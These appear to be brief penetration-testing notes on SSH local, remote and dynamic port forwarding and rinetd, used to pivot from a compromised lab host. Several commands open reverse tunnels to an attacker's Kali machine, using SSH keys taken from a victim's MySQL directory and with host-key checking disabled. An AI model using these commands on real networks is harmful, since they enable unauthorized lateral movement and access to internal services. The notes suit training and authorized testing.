SSH

-N = no ouput

-f background

LocaL port forwarding

ssh -N -L [bind_address:]port:host:hostport [username@address]

e.g.

ssh -N -L 0.0.0.0:445:192.168.1.110:445 student@10.11.0.128

Remote port forwarding

ssh -N -R <Windows IP>:<Windows Unused Port>:<Kali IP>:<Kali port> <username>@<Windows>

e.g.

ssh -f -N -R 192.168.119.224:2221:127.0.0.1:3306 root@192.168.119.224
ssh -f -N -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/keys/id_rsa kali@10.11.0.4
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /var/lib/mysql/.ssh/id_rsa kali@10.11.0.4

dynamic port forwarding

From victim:

ssh -D localhost:<local_proxy_port> -f -N <user>@<machine_to_pivot>
ssh -N -D 127.0.0.1:2221 student@192.168.224.44

(need to do full sT to scan hosts via this method)

priv/pub keys

On kali:

rinetd

Nano /etc/rinetd.conf

0.0.0.0 PORT_LISTEN HOST_FORWARDED HOST_PORT

From victim:

On rev shell:

Last updated